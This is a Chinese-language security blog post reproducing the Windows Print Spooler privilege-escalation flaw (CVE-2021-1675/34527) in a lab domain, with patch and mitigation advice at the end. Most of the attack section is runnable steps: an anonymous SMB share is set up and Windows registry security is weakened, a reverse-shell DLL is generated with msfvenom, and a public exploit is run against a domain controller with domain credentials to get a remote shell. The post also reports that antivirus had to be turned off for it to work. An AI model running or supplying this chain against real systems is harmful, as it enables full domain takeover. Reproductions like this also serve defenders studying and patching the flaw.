CVE-2021-1675/34527:Windows Print Spooler权限提升复现

admin 2021年9月10日10:46:16评论201 views字数 2918阅读9分43秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:shiyi@Timeline Sec
本文字数:1191
阅读时长:3~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中。


0x02 漏洞概述
攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序,若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。


0x03 影响版本
* Windows Server 2019 (Server Core installation)  * Windows Server 2012 R2 (Server Core installation)* Windows Server 2012 R2* Windows Server 2012 (Server Core installation)* Windows Server 2012* Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)* Windows RT 8.1* Windows 8.1 for x64-based systems* Windows 8.1 for 32-bit systems* Windows 7 for x64-based Systems Service Pack 1* Windows 7 for 32-bit Systems Service Pack 1* Windows 10 Version 1607 for x64-based Systems* Windows 10 Version 1607 for 32-bit Systems


0x04 环境搭建

目标域:

Windows Server 2019域环境 ( test.com ) IP:192.168.3.3   攻击机:Kali-2021 IP:192.168.3.55   普通域账户密码:
win10/windows10>? impact包:
https://github.com/cube0x0/impacket


Linux配置smb匿名访问:

1、修改/etc/samba/smb.conf文件

[global]    map to guest = Bad User    server role = standalone server    usershare allow guests = yes    idmap config * : backend = tdb    smb ports = 445[smb]    comment = Samba    path = /usr/share2        guest ok = yes    read only = no    browsable = yes


PS:

对于 [global] 只需要把 idmap config * : backend = tdb 前面的分号删掉,然后再添加一条 smb ports = 445  即可,其他项都是默认的,最后把整个 [smb]  添加上去


2、重启samba

service smbd restart


3、创建共享文件夹

mkdir /usr/share2


Windows配置匿名访问:

mkdir C:shareicacls C:share /T /grant "ANONYMOUS LOGON":ricacls C:share /T /grant Everyone:rNew-SmbShare -Path C:share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'(powershell下运行不适合win7)REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipesREG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionShares /t REG_MULTI_SZ /d share /fREG ADD "HKLMSystemCurrentControlSetControlLsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /fREG ADD "HKLMSystemCurrentControlSetControlLsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f


0x05 漏洞复现

1、安装impact包

git clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install


2、Kali生成恶意dll文件

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.3.55 LPORT=4444 -f dll -o /usr/share2/shell.dll


3、msf或者nc开启监听

msf 和 nc开启监听都可以 nc -lnvp 4444


CVE-2021-1675/34527:Windows Print Spooler权限提升复现


CVE-2021-1675/34527:Windows Print Spooler权限提升复现


4、执行exp

exp地址:https://github.com/cube0x0/CVE-2021-1675python3 CVE-2021-1675.py test.com/win10:"windows10>?"@192.168.3.3 '\192.168.3.55smbshell.dll'


虽然报错了 但是已经收到了shell


CVE-2021-1675/34527:Windows Print Spooler权限提升复现


CVE-2021-1675/34527:Windows Print Spooler权限提升复现


CVE-2021-1675/34527:Windows Print Spooler权限提升复现

0x06 修复建议


1.官方建议:

目前官方已发布漏洞修复补丁,建议受影响用户尽快更新漏洞补丁。

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675


2. 临时防护措施:

若相关用户暂时无法进行补丁更新,可通过禁用Print Spooler服务来进行缓解:

1)在服务应用(services.msc)中找到Print Spooler服务。

2)停止运行服务,同时将“启动类型”修改为“禁用”。


**坑点**

1、windows defender 关闭
defender没关闭之前,exp一直失败,然后就尝试关闭defender,就可以成功(dll未免杀的原因)。
2、windows共享利用失败
在windows上测试开启共享之后,能够在域控上匿名访问到共享文件,但是exp一直失败。

参考链接:

https://github.com/cube0x0/CVE-2021-1675


CVE-2021-1675/34527:Windows Print Spooler权限提升复现

CVE-2021-1675/34527:Windows Print Spooler权限提升复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):CVE-2021-1675/34527:Windows Print Spooler权限提升复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月10日10:46:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-1675/34527:Windows Print Spooler权限提升复现http://cn-sec.com/archives/447740.html

发表评论

匿名网友 填写信息